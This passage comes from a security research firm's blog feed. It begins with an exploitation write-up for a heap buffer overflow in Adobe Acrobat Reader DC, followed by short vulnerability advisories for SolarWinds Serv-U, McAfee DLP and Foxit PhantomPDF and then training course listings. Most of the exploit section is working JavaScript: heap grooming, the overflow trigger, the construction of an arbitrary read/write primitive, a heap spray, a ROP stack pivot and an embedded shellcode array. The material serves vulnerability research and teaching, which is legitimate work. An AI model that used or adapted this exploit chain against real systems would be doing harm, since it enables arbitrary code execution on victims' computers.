  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !Destination || !Source || !a3 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[15]

  pExceptionObject = sub_25802A44(Destination);
  if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) )
  {

[16]

    sub_258189D6(Destination, Source);
    result = 1;
  }
  else
  {

[17]

    strncat(Destination, Source, a3 - pExceptionObject - 1);
    result = 0;
    Destination[a3 - 1] = 0;
  }
  return result;
}

In the above listing, at [15] the length of the destination string is calculated. It then checks if the length of the destination string plus the length of the source string is less or equal than the desired concatenation length minus one. If the check passes, the function sub_258189D6 is called at [16]. Otherwise the strncat function at [17] is called.

The function sub_258189D6 called at [16] implements the actual string concatenation that works for both Unicode and ANSI strings.

LPSTR __cdecl sub_258189D6(LPSTR lpString1, LPCSTR lpString2)
{
  int v3; // eax
  LPCSTR v4; // edx
  CHAR *v5; // ecx
  CHAR v6; // al
  CHAR v7; // bl
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !lpString1 || !lpString2 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[18]

  if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF )
  {

[19]

    v3 = sub_25802A44(lpString1);
    v4 = lpString2 + 2;
    v5 = &lpString1[v3];
    do
    {
      do
      {
        v6 = *v4;
        v4 += 2;
        *v5 = v6;
        v5 += 2;
        v7 = *(v4 - 1);
        *(v5 - 1) = v7;
      }
      while ( v6 );
    }
    while ( v7 );
  }
  else
  {

[20]

    lstrcatA(lpString1, lpString2);
  }
  return lpString1;
}

In the function listed above, at [18] the first parameter (the destination) is checked for the Unicode BOM marker 0xFEFF. If the destination string is Unicode the code proceeds to [19]. There, the source string is appended at the end of the destination string two bytes at a time. If the destination string is ANSI, then the known lstrcatA function is called at [20].

It becomes clear that in the event that the destination string is Unicode and the source string is ANSI, for each character of the ANSI string two bytes are actually copied. This causes an out-of-bounds read of the size of the ANSI string that becomes a heap buffer overflow of the same size once the bytes are copied.

Exploitation

We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. 

Adobe Acrobat Reader DC version 2021.005.20048 running on Windows 10 x64 was used to develop the exploit. Note that Adobe Acrobat Reader DC is a 32-bit application. A successful exploit strategy needs to bypass the following security mitigations on the target:

  • Address Space Layout Randomization (ASLR)
  • Data Execution Prevention (DEP)
  • Control Flow Guard (CFG)

The exploit does not bypass the following protection mechanisms:

  • Control Flow Guard (CFG): CFG must be disabled in the Windows machine for this exploit to work. This may be done from the Exploit Protection settings of Windows 10, setting the Control Flow Guard (CFG) option to Off by default.

In order to exploit this vulnerability bypassing ASLR and DEP, the following strategy is adopted:

  1. Prepare the heap layout to allow controlling the memory areas adjacent to the allocations made for the base URL and the relative URL. This involves performing enough allocations to activate the Low Fragmentation Heap bucket for the two sizes, and enough allocations to entirely fit a UserBlock. The allocations with the same size as the base URL allocation must contain an ArrayBuffer object, while the allocations with the same size as the relative URL must have the data required to overwrite the byteLength field of one of those ArrayBuffer objects with the value 0xffff.
  2. Poke some holes on the UserBlock by nullifying the reference to some of the recently allocated memory chunks.
  3. Trigger the garbage collector to free the memory chunks referenced by the nullified objects. This provides room for the base URL and relative URL allocations.
  4. Trigger the heap buffer overflow vulnerability, so the data in the memory chunk adjacent to the relative URL will be copied to the memory chunk adjacent to the base URL.
  5. If everything worked, step 4 should have overwritten the byteLength of one of the controlled ArrayBuffer objects. When a DataView object is created on the corrupted ArrayBuffer it is possible to read and write memory beyond the underlying allocation. This provides a precise way of overwriting the byteLength of the next ArrayBuffer with the value 0xffffffff. Creating a DataView object on this last ArrayBuffer allows reading and writing memory arbitrarily, but relative to where the ArrayBuffer is.
  6. Using the R/W primitive built, walk the NT Heap structure to identify the BusyBitmap.Buffer pointer. This allows knowing the absolute address of the corrupted ArrayBuffer and build an arbitrary read and write primitive that allows reading from and writing to absolute addresses.
  7. To bypass DEP it is required to pivot the stack to a controlled memory area. This is done by using a ROP gadget that writes a fixed value to the ESP register.
  8. Spray the heap with ArrayBuffer objects with the correct size so they are adjacent to each other. This should place a controlled allocation at the address pointed by the stack-pivoting ROP gadget.
  9. Use the arbitrary read and write to write shellcode in a controlled memory area, and to write the ROP chain to execute VirtualProtect to enable execution permissions on the memory area where the shellcode was written.
  10. Overwrite a function pointer of the DataView object used in the read and write primitive and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

Preparing the Heap Layout

The size of the strings involved in this vulnerability can be controlled. This is convenient since it allows selecting the right size for each of them so they are handled by the Low Fragmentation Heap. The inner workings of the Low Fragmentation Heap (LFH) can be leveraged to increase the determinism of the memory layout required to exploit this vulnerability. Selecting a size that is not used in the program allows full control to activate the LFH bucket corresponding to it, and perform the exact number of allocations required to fit one UserBlock.

The memory chunks within a UserBlock are returned to the user randomly when an allocation is performed. The ideal layout required to exploit this vulnerability is having free chunks adjacent to controlled chunks, so when the strings required to trigger the vulnerability are allocated they fall in one of those free chunks.

In order to set up such a layout, 0xd+0x11 ArrayBuffers of size 0x2608-0x10-0x8 are allocated. The first 0x11 allocations are used to enable the LFH bucket, and the next 0xd allocations are used to fill a UserBlock (note that the number of chunks in the first UserBlock for that bucket size is not always 0xd, so this technique is not 100% effective). The ArrayBuffer size is selected so the underlying allocation is of size 0x2608 (including the chunk metadata), which corresponds to an LFH bucket not used by the application.

Then, the same procedure is done but allocating strings whose underlying allocation size is 0x2408, instead of allocating ArrayBuffers. The number of allocations to fit a UserBlock for this size can be 0xe.

The strings should contain the bytes required to overwrite the byteLength property of the ArrayBuffer that is corrupted once the vulnerability is triggered. The value that will overwrite the byteLength property is 0xffff. This does not allow leveraging the ArrayBuffer to read and write to the whole range of memory addresses in the process. Also, it is not possible to directly overwrite the byteLength with the value 0xffffffff since it would require overwriting the pointer of its DataView object with a non-zero value, which would corrupt it and break its functionality. Instead, writing only 0xffff allows avoiding overwriting the DataView object pointer, keeping its functionality intact since the leftmost two null bytes would be considered the Unicode string terminator during the concatenation operation.

function massageHeap() {

[1]

    var arrayBuffers = new Array(0xd+0x11);
    for (var i = 0; i < arrayBuffers.length; i++) {
        arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
        var dv = new DataView(arrayBuffers[i]);
    }

[2]

    var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
        arrayBuffers[i] = null;
    }


[3]

    var strings = new Array(0xe+0x11);
    var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
    for (var i = 0; i < strings.length; i++) {
        strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
    }


[4]

    var holeDistance = (strings.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= strings.length; i += holeDistance) {
        strings[i] = null;
    }

    return arrayBuffers;
}

In the listing above, the ArrayBuffer allocations are created in [1]. Then in [2] two pointers to the created allocations are nullified in order to attempt to create free chunks surrounded by controlled chunks.

At [3] and [4] the same steps are done with the allocated strings.

Triggering the Vulnerability

Triggering the vulnerability is as easy as calling the app.launchURL JavaScript function. Internally, the relative URL provided as a parameter is concatenated to the base URL defined in the PDF document catalog, thus executing the vulnerable function explained in the Code Analysis section of this post.

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}

The size of the allocation holding the relative URL string must be the same as the one used when preparing the heap layout so it occupies one of the freed spots, and ideally having a controlled allocation adjacent to it.

Obtaining an Arbitrary Read / Write Primitive

When the proper heap layout is successfully achieved and the vulnerability has been triggered, an ArrayBuffer byteLength property would be corrupted with the value 0xffff. This allows writing past the boundaries of the underlying memory allocation and overwriting the byteLength property of the next ArrayBuffer. Finally, creating a DataView object on this last corrupted buffer allows to read and write to the whole memory address range of the process in a relative manner.

In order to be able to read from and write to absolute addresses the memory address of the corrupted ArrayBuffer must be obtained. One way of doing it is to leverage the NT Heap metadata structures to leak a pointer to the same structure. It is relevant that the chunk header contains the chunk number and that all the chunks in a UserBlock are consecutive and adjacent. In addition, the size of the chunks are known, so it is possible to compute the distance from the origin of the relative read and write primitive to the pointer to leak. In an analogous manner, since the distance is known, once the pointer is leaked the distance can be subtracted from it to obtain the address of the origin of the read and write primitive.

The following function implements the process described in this subsection.

function getArbitraryRW(arrayBuffers) {

[1]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
            var dv = new DataView(arrayBuffers[i]);
            dv.setUint32(0x25f0+0xc, 0xffffffff, true);
        }
    }

[2]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
            var rw = new DataView(arrayBuffers[i]);
            corruptedBuffer = arrayBuffers[i];
        }
    }

[3]

    if (rw) {
        var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
        var chunkSize = 0x25f0+0x10+8;

        var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
        var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);

        startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4;
        return rw;
    }
    return rw;
}

The function above at [1] tries to locate the initial corrupted ArrayBuffer and leverages it to corrupt the adjacent ArrayBuffer. At [2] it tries to locate the recently corrupted ArrayBuffer and build the relative arbitrary read and write primitive by creating a DataView object on it. Finally, at [3] the aforementioned method of obtaining the absolute address of the origin of the relative read and write primitive is implemented.

Once the origin address of the read and write primitive is known it is possible to use the following helper functions to read and write to any address of the process that has mapped memory.

function readUint32(dataView, absoluteAddress) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    return dataView.getUint32(addrOffset, true);
}

function writeUint32(dataView, absoluteAddress, data) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    dataView.setUint32(addrOffset, data, true);
}

Spraying ArrayBuffer Objects

The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.

In order to get the heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.

function sprayHeap() {
    var heapSegmentSize = 0x10000;

[1]

    heapSpray = new Array(0x8000);
    for (var i = 0; i < 0x8000; i++) {
        heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
        var tmpDv = new DataView(heapSpray[i]);
        tmpDv.setUint32(0, 0xdeadbabe, true);
    }
}

The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the stack pivot ROP gadget used.

These purpose of these allocations is to have a controllable memory region at the address were the stack is relocated after the execution of the stack pivoting. This area can be used to prepare the call to VirtualProtect to enable execution permissions on the memory page were the shellcode is written.

Hijacking the Execution Flow and Executing Arbitrary Code

With the ability to arbitrarily read and write memory, the next steps are preparing the shellcode, writing it, and executing it. The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules.

Taking this into account, the strategy can be the following:

  1. Obtain pointers to the relevant modules to calculate their base addresses.
  2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
  3. Write the shellcode.
  4. Call VirtualProtect to change the shellcode memory region permissions to allow  execution.
  5. Overwrite a function pointer that can be called later from JavaScript.

The following functions are used in the implementation of the mentioned strategy.

[1]

function getAddressLeaks(rw) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var escriptAddrDelta = 0x275518;
    var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;

    var kernel32BaseDelta = 0x273eb8;
    var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);

    return [escriptAddr, kernel32Addr];
}
 
[2]

function prepareNewStack(kernel32Addr) {

    var virtualProtectStubDelta = 0x20420;
    writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);

    var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
        0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
        0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
        0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
        0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
        0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e,
        0x00000000]


[3]

    var shellcode_size = shellcode.length * 4;
    writeUint32(rw, newStackAddr + 4 , startAddr);
    writeUint32(rw, newStackAddr + 8, startAddr);
    writeUint32(rw, newStackAddr + 0xc, shellcode_size);
    writeUint32(rw, newStackAddr + 0x10, 0x40);
    writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size);

[4]

    for (var i = 0; i < shellcode.length; i++) {
        writeUint32(rw, startAddr+i*4, shellcode[i]);
    }

}

function hijackEIP(rw, escriptAddr) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var dvShape = readUint32(rw, dataViewObjPtr);
    var dvShapeBase = readUint32(rw, dvShape);
    var dvShapeBaseClasp = readUint32(rw, dvShapeBase);

    var stackPivotGadgetAddr = 0x2de29 + escriptAddr;

    writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr);

    var foo = rw.execFlowHijack;
}

In the code listing above, the function at [1] obtains the base addresses of the EScript.api and kernel32.dll modules, which are the ones required to exploit the vulnerability with the current strategy. The function at [2] is used to prepare the contents of the relocated stack, so that once the stack pivot is executed everything is ready. In particular, at [3] the address to the shellcode and the parameters to VirtualProtect are written. The address to the shellcode corresponds to the return address that the ret instruction of the VirtualProtect will restore, redirecting this way the execution flow to the shellcode. The shellcode is written at [4].

Finally, at [5] the getProperty function pointer of a DataView object under control is overwritten with the address of the ROP gadget used to pivot the stack, and a property of the object is accessed which triggers the execution of getProperty.

The stack pivot gadget used is from the EScript.api module, and is listed below:

0x2382de29: mov esp, 0x5d0013c2; ret;

When the instructions listed above are executed, the stack will be relocated to 0x5d0013c2 where the previously prepared allocation would be.

Conclusion

We hope you enjoyed reading this analysis of a heap buffer-overflow and learned something new. If you’re hungry for more, go and checkout our other blog posts!

The post Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC appeared first on Exodus Intelligence.

SolarWinds Serv-u File Server Command Injection

27 September 2021 at 08:57

EIP-2020-0032

The Serv-U File Server supports site specific commands which may not be universally supported by all FTP clients. Among these is the SITE EXEC command which allows a user to execute programs and scripts remotely, if the execute permission is present on the folder where a given program / script resides. A command injection vulnerability exists in this functionality due to improper sanitization of user-supplied parameters provided to the ShellExecuteExW routine. Successful exploitation results in arbitrary command execution under the context of the file server.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2020-0032
  • MITRE CVE: CVE-2021-35223

Vulnerability Metrics

  • CVSSv2 Score: 9.4

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: May 14th, 2021
  • Disclosed to public: September 24th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post SolarWinds Serv-u File Server Command Injection appeared first on Exodus Intelligence.

Adobe Acrobat Reader Base URI Unicode String Heap Buffer Overflow

17 September 2021 at 13:22

EXP-2021-0014

A heap buffer overflow vulnerability exists in the IA32.api module of Adobe Acrobat and Acrobat Reader DC. Upon parsing a specially crafted PDF document containing URI entries with URI dictionaries and a specially crafted base URL defined with raw Unicode strings can trigger the vulnerability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EXP-2021-0014
  • MITRE CVE: CVE-2021-39863

Vulnerability Metrics

  • CVSSv2 Score: 8.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: June 28th, 2021
  • Disclosed to public: September 14th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Adobe Acrobat Reader Base URI Unicode String Heap Buffer Overflow appeared first on Exodus Intelligence.

McAfee DLP Agent Stack Buffer Overflow RCE

17 September 2021 at 17:00

EIP-2015-0041

The vulnerability affects both Data Loss Prevention (DLP) Endpoint for Windows and the DLP Discover products from McAfee. The vulnerability is present within the included lasr.dll module, which is part of the Keyview SDK3 , and is responsible for parsing Ami Pro (.sam) files during server content inspection. A file format parsing vulnerability results in a stack-based buffer overflow that can be abused to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2015-0041
  • MITRE CVE: CVE-2021-31844, CVE-2021-31845

Vulnerability Metrics

  • CVSSv2 Score: 8.2

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 24th, 2021
  • Disclosed to public: September 14th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post McAfee DLP Agent Stack Buffer Overflow RCE appeared first on Exodus Intelligence.

Foxit PhantomPDF ConvertToPDF Arbitrary File Write Remote Code Execution Vulnerability

24 August 2021 at 21:00

EIP-2019-0007

The vulnerability exists within an RPC interface listening on TCP port 6000, exposed by Foxit PhantomPDF. The ConvertToPDF method of the Creator object does not properly validate the bstrDestPathName argument, allowing arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulner- ability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2019-0007
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConvertToPDF Arbitrary File Write Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF CombineFiles Arbitrary File Write Remote Code Execution Vulnerability

24 August 2021 at 20:55

EIP-2019-0006

The vulnerability exists within an RPC interface listening on TCP port 6000, exposed by Foxit PhantomPDF. The CombineFiles method of the Creator object does not properly validate the DestPDFFile argument, allowing arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2019-0006
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF CombineFiles Arbitrary File Write Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF ConnectedPDF DocSearch_Locator_Table SQL Injection Remote Code Execution Vulnerability

24 August 2021 at 20:53

EIP-2018-0081

The vulnerability exists within the ConnectedPDF service, implemented by the FoxitPhantomConnectedPDFService.exe binary. The service listens for connections on TCP port 44440 on localhost and fails to sanitize input data before using it to construct SQL queries. This allows arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution. Each message has a Type field, denoting the message type. The vulnerability resides in the processing of message type 1004, the handler of which is characterized by string references such as “DocSearch_Locator_Table”.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0081
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConnectedPDF DocSearch_Locator_Table SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF ConnectedPDF ConnectedPDF_DRM_Table SQL Injection Remote Code Execution Vulnerability

24 August 2021 at 20:51

EIP-2018-0080

The vulnerability exists within the ConnectedPDF service, implemented by the FoxitPhantomConnectedPDFService.exe binary. The service listens for connections on TCP port 44440 on localhost and fails to sanitize input data before using it to construct SQL queries. This allows arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution. Each message has a Type field, denoting the message type. The vulnerability resides in the processing of message type 1003, the handler of which is characterized by string references such as “ConnectedPDF_DRM_Table”.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0080
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConnectedPDF ConnectedPDF_DRM_Table SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF ConnectedPDF DocUpdate_Notify_Table SQL Injection Remote Code Execution Vulnerability

24 August 2021 at 20:50

EIP-2018-0057

The vulnerability exists within the ConnectedPDF service, implemented by the FoxitPhantomConnectedPDFService.exe binary. The service listens for connections on TCP port 44440 on localhost and fails to sanitize input data before using it to construct SQL queries. This allows arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution. Each message has a Type field, denoting the message type. The vulnerability resides in the processing of message type 1007, the handler of which is characterized by string references such as “DocUpdate_Notify_Table”.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0057
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConnectedPDF DocUpdate_Notify_Table SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF extractPages Arbitrary File Write Remote Code Execution Vulnerability

24 August 2021 at 20:47

EIP-2018-0046

The vulnerability exists within the JavaScript PDF API exposed by Foxit PhantomPDF. The extractPages method of the Document object does not properly validate the export path argument, allowing arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0046
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF extractPages Arbitrary File Write Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF loadHtmlView Context Level Bypass Vulnerability

23 August 2021 at 21:03

EIP-2018-0045

The vulnerability exists within the JavaScript PDF API exposed by Foxit PhantomPDF. The loadHtmlView method of the app object invokes attacker-controlled JavaScript code in a privileged context. An attacker can create a specially crafted PDF file that will abuse this vulnerability to bypass the context based security mechanism of the JS PDF API.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0045
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 6.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF loadHtmlView Context Level Bypass Vulnerability appeared first on Exodus Intelligence.

Vulnerability Development Courses for 2021

17 August 2021 at 00:54

We are pleased to announce that the researchers of Exodus Intelligence will be providing publicly available training in person in early November in Austin, TX.

In an effort to fully teach the breadth and depth of Vulnerability Intelligence and Exploitation, we have structured our offerings in the form of three distinct courses.

The intermediate course, titled the Vulnerability Assessment Class, covers a wide range of vulnerability and exploitation related topics and is intended for the beginner to intermediate level practitioner. This course is intended to prepare the student to fully defend the modern enterprise by being aware and equipped to assess the impact of vulnerabilities across the breadth of the application space.

We will also be offering an updated version of our popular Vulnerability Development Master Class. This course will cover advanced topics such as dynamic reverse engineering, kernel exploitation concepts, browser exploitation, mitigation bypasses, and other topics.

Our third offering will be our Mobile Vulnerability Exploitation Class. This class will cover advanced topics concerning mobile platforms.

Dates & Locations

All three courses will run concurrently.

  • November 1st-5th 2021, Austin, TX, USA

Attendees should plan to travel and arrive prior to Monday, November 1st. The course work will conclude on Friday, November 5th, 2021.

Seating is limited. Since this training will be in person, there are a limited number of seats available.

Vulnerability Assessment Class

This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding vulnerability and exploitation topics on both the Linux and Windows platforms. Attendees will be immersed in hands-on exercises that impart valuable skills including a deep dive into the various types of vulnerabilities exploited today, static and dynamic reverse engineering, vulnerability discovery, and exploitation of widely deployed server and client-side applications. This class will cover a lot of material and move very quickly.

Prerequisites

  • Computer with ability to run a VMWare image (recommended 16GB+ memory)
  • Some familiarity with debuggers, Python, C/C++, x86 ASM. IDA Pro experience a plus.
  • No prior vulnerability discovery experience is necessary

Syllabus to be provided in the near future.

Pricing and Registration

The cost for the 5-day course is $5000 USD per student. You may e-mail [email protected] to register and we will supply a purchase order.

We will be providing a template request form in the near future to help justify attendance to management.

Vulnerability Development Master Class

This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding vulnerability and exploitation topics on both the Linux and Windows platforms. Attendees will be immersed in hands-on exercises that impart valuable skills including a deep dive into exploiting kernel and browser vulnerabilities, static and dynamic reverse engineering, 0-day vulnerability discovery, and exploitation and workarounds of current mitigations. This is a very hands on deep dive. Course will be taught by Exodus researchers.

Prerequisites

  • Computer with ability to run a VMWare image (recommended 16GB+ memory)
  • Student must be comfortable with debuggers, Python, C/C++, x86 ASM, and IDA Pro.
  • No prior vulnerability discovery experience is necessary

Syllabus to be provided in the near future.

Pricing and Registration

The cost for the 5-day course is $6500 USD per student. You may e-mail [email protected] to register and we will supply a purchase order.

We will be providing a template request form in the near future to help justify attendance to management.

Mobile Vulnerability Exploitation Class

This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding advanced exploitation topics involving the Android operating system. Attendees will be immersed in hands-on exercises that impart valuable skills including a deep dive into the various types of vulnerabilities exploited today, static and dynamic reverse engineering, vulnerability discovery, and exploitation of widely deployed mobile platforms and applications. This course is highly advanced and will cover difficult materials. Course will be taught by Exodus researchers.

Prerequisites

  • Computer with ability to run a VMWare image (recommended 16GB+ memory)
  • Some comfort with debuggers, Python, C/C++, ARM ASM and IDA Pro
  • No prior vulnerability discovery experience is necessary

Syllabus to be provided in the near future.

Pricing and Registration

The cost for the 5-day course is $7500 USD per student. You may e-mail [email protected] to register and we will supply a purchase order.

We will be providing a template request form in the near future to help justify attendance to management.

Covid-19 and Travel

